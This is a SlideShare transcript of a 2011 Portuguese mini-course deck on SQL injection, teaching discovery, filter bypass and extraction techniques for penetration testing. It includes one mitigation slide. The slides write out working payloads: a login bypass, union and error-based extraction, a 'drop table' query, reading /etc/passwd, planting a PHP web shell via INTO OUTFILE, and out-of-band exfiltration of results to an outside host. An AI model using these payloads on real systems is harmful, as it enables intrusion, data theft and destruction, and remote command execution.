0
Web App FlawsMinicurso sobre falhas em aplicações web                 2011         David G. Guimarães
Roteiro• SQL Injection   o Introdução   o Descobrindo falhas   o Análise       Filtros       Identificação do SGBD/DBMS ...
SQL Injection                              IntroduçãoO que é? • Inserção de códigos SQL através da manipulação de dados de...
SQL Injection                                IntroduçãoExemplo de código vulnerável (formulário de login) • $query = "sele...
SQL Injection                                IntroduçãoCaracterísticas • Não necessita interação do usuário, ao contrário ...
SQL Injection                              IntroduçãoCookbook • Descobrindo falhas    o Manual (Proxy, Firefox Addons)    ...
SQL Injection                            IntroduçãoCookbook • Post-exploitation    o Atingindo outros objetivos    o Encon...
SQL Injection                         Descobrindo falhasForma automatizada • Ferramentas    o Nessus, w3af, Nikto, Pangoli...
SQL Injection                              Análise - FiltrosAnalisando e burlando filtros • Filtros genéricos de remoção/b...
SQL Injection                              Análise - FiltrosAnalisando e burlando filtros • Filtros genéricos de remoção/b...
SQL Injection                             Análise - FiltrosAnalisando e burlando filtros • Filtros de tratamento de caract...
SQL Injection              Análise - Identificação do SGBDIdentificação do SGBD/DBMS • Necessário para extração dos dados/...
SQL Injection                       Análise - LocalizaçãoQuery inteira • http://vulnsite.com/script.php?sql=select+id,nome...
SQL Injection                       Análise - LocalizaçãoLimit • http://vulnsite.com/lista.php?pagina=0&linhas_por_pagina=...
SQL Injection                          Análise - TécnicasUnion/In-band based • Resultado parcial ou total da query na pági...
SQL Injection                          Análise - TécnicasUnion/In-band based • É necessário a identificação da quantidade ...
SQL Injection                         Análise - TécnicasUnion/In-band based • Exemplo:     o $query = "select nome, telefo...
SQL Injection                             Análise - TécnicasError based • Baseado na manipulação de mensagens de erro gera...
SQL Injection                            Análise - TécnicasOut-of-band based • Uso de requisições DNS e HTTP para recupera...
SQL Injection                        Análise - TécnicasBlind based • Realiza inúmeras comparações para obtenção da informa...
SQL Injection                          Análise - TécnicasFull-blind time based • Baseada em tempo de resposta      o waitf...
SQL Injection                          Análise - TécnicasStacked based • Permite alteração dos dados no BD. UPDATE, DROP, ...
SQL Injection                         Análise - File Access•   Depende do nível de permissão do usuário.•   Permite leitur...
SQL Injection                              Evitando SQLiSanitizar/tratar todos os parâmetros recebidos dos usuários. • Int...
SQL Injection                Hands On - Ao que interessa•   Demonstração de todos os passos para exploração de Web App Fla...
SQL Injection                                Referências•   Google codelab: http://google-gruyere.appspot.com/•   Ferramen...
Upcoming SlideShare
Loading in...5
×

Web App Flaws - SQL Injection

1,816

Published on

Web Application Flaw - Sql injection

Published in: Technology
0 Comments
0 Likes
Statistics
Notes
  • Be the first to comment

  • Be the first to like this

No Downloads
Views
Total Views
1,816
On Slideshare
0
From Embeds
0
Number of Embeds
2
Actions
Shares
0
Downloads
44
Comments
0
Likes
0
Embeds 0
No embeds

No notes for slide

Transcript of "Web App Flaws - SQL Injection"

  1. 1. Web App FlawsMinicurso sobre falhas em aplicações web 2011 David G. Guimarães
  2. 2. Roteiro• SQL Injection o Introdução o Descobrindo falhas o Análise  Filtros  Identificação do SGBD/DBMS  Localização  Técnicas o File Access o Mitigação o Hands On• Referências• Remote/Local File Inclusion• XSS
  3. 3. SQL Injection IntroduçãoO que é? • Inserção de códigos SQL através da manipulação de dados de entrada passados ao aplicativo web.Como se dá? • O desenvolvedor é o responsável direto por tornar o código inseguro.Causas • Desenvolvedor desconhece fatos inerentes a segurança de código, assim como a possibilidade de exploração do mesmo. • Desenvolvedor conhece fatos inerentes a segurança de código, mas é displicente em tomar medidas preventivas para correção do mesmo. • Falta de processos definidos relativos a desenvolvimento seguro e auditoria.
  4. 4. SQL Injection IntroduçãoExemplo de código vulnerável (formulário de login) • $query = "select id from usuarios where user=$_GET[user] and password=$_GET[password]"; • $usuario = mysql_query($query); • http://vulnsite.com/admin/login.php? • user=admin • &password= OR 1=1Query manipulada: • select id from usuarios where user=admin and password= or 1=1 • Condição 1=1 sempre verdadeira. Login realizado com sucesso.
  5. 5. SQL Injection IntroduçãoCaracterísticas • Não necessita interação do usuário, ao contrário de XSS. • Sintaxe SQL idêntica ou bastante similar entre todos os SGBD/DBMS. o Cheat sheets (Lista dos comandos básicos de SQL p/ cada linguagem) • Fácil de ser encontrada e explorada. • Possibilidade de acesso ao sistema de arquivos. • Possibilidade de exploração de vulnerabilidades no SGBD/DBMS. • Dificuldade em se obter mecanismos de proteção genéricos. • Milhões de ferramentas livres/open source para scan, análise e exploração. • Presente na grande maioria dos sites.
  6. 6. SQL Injection IntroduçãoCookbook • Descobrindo falhas o Manual (Proxy, Firefox Addons) o Automatizado (ferramentas de fuzzing) o Testes básicos • Análise o Filtros? (Código de filtro, PHPIDS, WAF, IPS, etc.) o SGBD/DBMS utilizado (MySQL, Postgree, SQLServer, Oracle, MSAccess) o Localização da falha na query (where/having, group/order by, etc) o Técnicas possíveis (union/inband, blind, out-of-band, error, stacked) o Privilégios permitidos (USAGE, FILE, administrator) • Extração/Enumeração dos dados o Databases o Tabelas o Colunas o Linhas
  7. 7. SQL Injection IntroduçãoCookbook • Post-exploitation o Atingindo outros objetivos o Encontrando outras falhas o Quebrando senhas/hashs usando rainbowtables o Acesso ao sistema de arquivos  Virando root
  8. 8. SQL Injection Descobrindo falhasForma automatizada • Ferramentas o Nessus, w3af, Nikto, Pangolin, Havij, etc.Forma manual • Mapear páginas dinâmicas • Passivo o Proxy (webscarab, burp, etc.) o Addons (Firefox: hackbar, Sql Inject me, tamper data, etc.)Testes básicos • Númerico: id=30 o Testes: id=30 AND 1=1; id=30; id=30+4-4; id=30/**/; • String: busca=hd o busca=hd; hd--; hd AND 1=1
  9. 9. SQL Injection Análise - FiltrosAnalisando e burlando filtros • Filtros genéricos de remoção/bloqueio baseado em tokens o Exemplo:  replace("union| |select|--|/*|...", ""); o Bypass  Encoding usando tabela ASCII e hexadecimal  URLs só podem ser enviadas através da Internet utilizando o conjunto de caracteres ASCII.  URLs contêm geralmente caracteres fora do conjunto ASCII, que tem de ser convertidos em um formato ASCII válido.  Encoding de URL substitui caracteres ASCII inseguro com um "%" seguido de dois dígitos hexadecimais.  Exemplo:  union vira %75%6e%69%6f%6e
  10. 10. SQL Injection Análise - FiltrosAnalisando e burlando filtros • Filtros genéricos de remoção/bloqueio baseado em tokens o Exemplo:  replace("union| |select|--|/*|...", ""); o Bypass  Usar outros caracteres para separação entre tokens: n(0x0A), t(0x0B), etc  Exemplo:  Objetivo: id=1 union select 1,2,3--  Bypass: id=1%0Aunio--n%0Aselec--t%0A1,2,3-select-  maiúsculas/minúsculas  select vira sElEcT
  11. 11. SQL Injection Análise - FiltrosAnalisando e burlando filtros • Filtros de tratamento de caracteres SQL especiais  mysql_real_escape_string/addslashes/etc.  trata caracteres , ", /, , x00, adicionando antes dos mesmos, sanitizando-os  Bypass:  usar a função char()  Exemplo:  union select column_name from information_schema.columns where table_name = tabela  union select column_name from information_schema.columns where table_name = CHAR(116, 97, 98, 101, 108, 97) • Filtro de tamanho no parâmetro o Utiliza função que corta/bloqueia em X bytes o parâmetro
  12. 12. SQL Injection Análise - Identificação do SGBDIdentificação do SGBD/DBMS • Necessário para extração dos dados/construção da consulta • Sintaxe SQL única para cada SGBDCheat sheets de funções únicas de cada SGBD • MySQL o CONNECTION_ID()=CONNECTION_ID(), USER()=USER(), substring(@@version, 1, 1) • Oracle o ROWNUM=ROWNUM, LENGTH(SYSDATE)=LENGTH(SYSDATE) • MS SQL Server o BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123), HOST_NAME()=HOST_NAME() • Postgree SQL o 1::int=1, VERSION()=VERSION()
  13. 13. SQL Injection Análise - LocalizaçãoQuery inteira • http://vulnsite.com/script.php?sql=select+id,nome+from+usuariosColunas/Tabelas • http://vulnsite.com/script.php?colunas=cidade&tabela=estado&nome=brasilia • $query = "select $_GET[colunas] from $_GET[tabela] where nome = $_GET[nome]";Where/Having • http://vulnsite.com/script.php?noticiaid=2 • $query = "select titulo,corpo from noticias where id = $_GET[noticiaid]";Order/Group By • http://vulnsite.com/lista.php?ordenar_por=preco • $query = "select id,nome,preco from produtos order by $_GET[ordernar_por]";
  14. 14. SQL Injection Análise - LocalizaçãoLimit • http://vulnsite.com/lista.php?pagina=0&linhas_por_pagina=10 • $query = "select id,nome,preco from produtos order by preco limit $_GET[pagina], $_GET[linhas_por_pagina]";
  15. 15. SQL Injection Análise - TécnicasUnion/In-band based • Resultado parcial ou total da query na página de resposta. o Resultado depende da lógica do script o O resultado pode aparecer no cabeçalho  Cookies, Location, etc.  Exemplo em ADS:  http://site.com/ads.php?url=1  $query = "select uri from urls where id = $_GET[url]";  $result = mysql_query($query);  header("Location: ".mysql_result($result, 1));
  16. 16. SQL Injection Análise - TécnicasUnion/In-band based • É necessário a identificação da quantidade de colunas da consulta anterior. o A união das consultas deve possuir o mesmo número de colunas. o Exemplo:  select id, nome from users where id=3 union select 1, @@version o Uso do order by para descobrir o número de colunas:  http://vulnsite.com/lista.php?id=3 order by 20 o Força bruta com NULL para adivinhar o número de colunas  id=3 union select null, null, null
  17. 17. SQL Injection Análise - TécnicasUnion/In-band based • Exemplo: o $query = "select nome, telefone from usuarios where id = $_GET[id]" o http://vulnsite.com/users.php?id=3 union all select table_name, table_schema from information_schema.tables#
  18. 18. SQL Injection Análise - TécnicasError based • Baseado na manipulação de mensagens de erro geradas pelo SGBD • Resultado limitado a um número X de caracteres. • Barulhento (gera mensagens de erro que podem ser armazenadas na máquina) • Exemplo: o d=1 AND (SELECT 2373 FROM(SELECT COUNT(*),CONCAT(CHAR(58,122,101,100,58),(select @@version),CHAR(58,112,122,120,58),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a) AND kGgv=kGgv&Submit=Submit o ERROR 1062 (23000): Duplicate entry :5.1.41-3ubuntu12.10:1 for key group_key
  19. 19. SQL Injection Análise - TécnicasOut-of-band based • Uso de requisições DNS e HTTP para recuperar dados • Resultado limitado a uma quantidade X de caracteres • Exemplo: o utl_http.request(http://www.foo.com:80/||(select username from dba_users where rownum=1)) o 10.1.1.101 - - [08/Aug/2007:10:02:40 +0000] "GET /SYS HTTP/1.1" 404 0-- o utl_http.request(http://||(select user from dual)||.dyndns.com) o Verificar logs do bind/named ou; o Wireshark/tcpdump na porta 53 do servidor DNS.
  20. 20. SQL Injection Análise - TécnicasBlind based • Realiza inúmeras comparações para obtenção da informação • Muito lento o Aperfeiçoado usando-se paralelismo (threads) o Aperfeiçoado usando-se busca binária. o Exemplo:  id=1 and substring(@@version, 1, 1)=5  id=1 and substring(@@version, 2, 1)=.  etc
  21. 21. SQL Injection Análise - TécnicasFull-blind time based • Baseada em tempo de resposta o waitfor delay 0:0:5, sleep(5), etc. • Mais lenta de todas • Pode-se utilizar paralelismo • Pode-se utilizar "heavy queries": o BENCHMARK([SLEEPTIME]000000,MD5([RANDSTR])) • Pode gerar resultados inválidos/inconsistentes • Exemplo: o http://vulnsite.com/vulnscript.php?id=45;if EXISTS (select loginame from master..sysprocesses where spid = @@SPID and loginame = dominiousuario) waitfor delay 0:0:5-- o Dorme 5 segundos caso o loginame seja o especificado.
  22. 22. SQL Injection Análise - TécnicasStacked based • Permite alteração dos dados no BD. UPDATE, DROP, etc. • Possível somente em algumas tecnologias. • Pode ser utilizada em conjunto com a técnica baseada em tempo e baseada em erro. • Exemplo: o busca=nome; drop table noticias-- o busca=nome; if (substring(@@version, 1, 1)=M) waitfor delay 0:0:5 else select 1;--
  23. 23. SQL Injection Análise - File Access• Depende do nível de permissão do usuário.• Permite leitura, escrita e execução de arquivos com a permissão do usuário rodando o DBMS.• Exemplo: o Leitura:  id=1 union select load_file(/etc/passwd); o Escrita:  id=1 union select "<?php system($_GET[cmd]); ?>" into outfile /var/www/c.php;--  id=1 union select "<?php fwrite(fopen($_POST[t],w),$_POST[d]); ?>" into outfile /var/www/c.php;-- o Execução:  xp_cmdshell()  UDF Injection
  24. 24. SQL Injection Evitando SQLiSanitizar/tratar todos os parâmetros recebidos dos usuários. • Inteiro o Converter entrada para inteiro (intval(), is_numeric()); o Tratar possibilidade de números negativos; • String o Tratar entrada com regex o Tratar caracteres especiais (htmlentities($param, ENT_QUOTES))  html, sql, etc.Tratar TODAS as possíveis mensagens de erro, configurar tecnologia para nãomostrar erros para o usuário.
  25. 25. SQL Injection Hands On - Ao que interessa• Demonstração de todos os passos para exploração de Web App Flaws.• DVWA - ferramenta de demonstração/aplicação de vulnerabilidades• SQLMAP - ferramenta para extração de dados
  26. 26. SQL Injection Referências• Google codelab: http://google-gruyere.appspot.com/• Ferramentas: sqlsus, sqlmap, pangolin, marathon, bsqli, Havij, sqlninja, etc.• Tabela ASCII: http://www.asciitable.com/• SQL Injection Cheat Sheets: http://pentestmonkey.net/blog/mysql-sql- injection-cheat-sheet/
  1. A particular slide catching your eye?

    Clipping is a handy way to collect important slides you want to go back to later.

×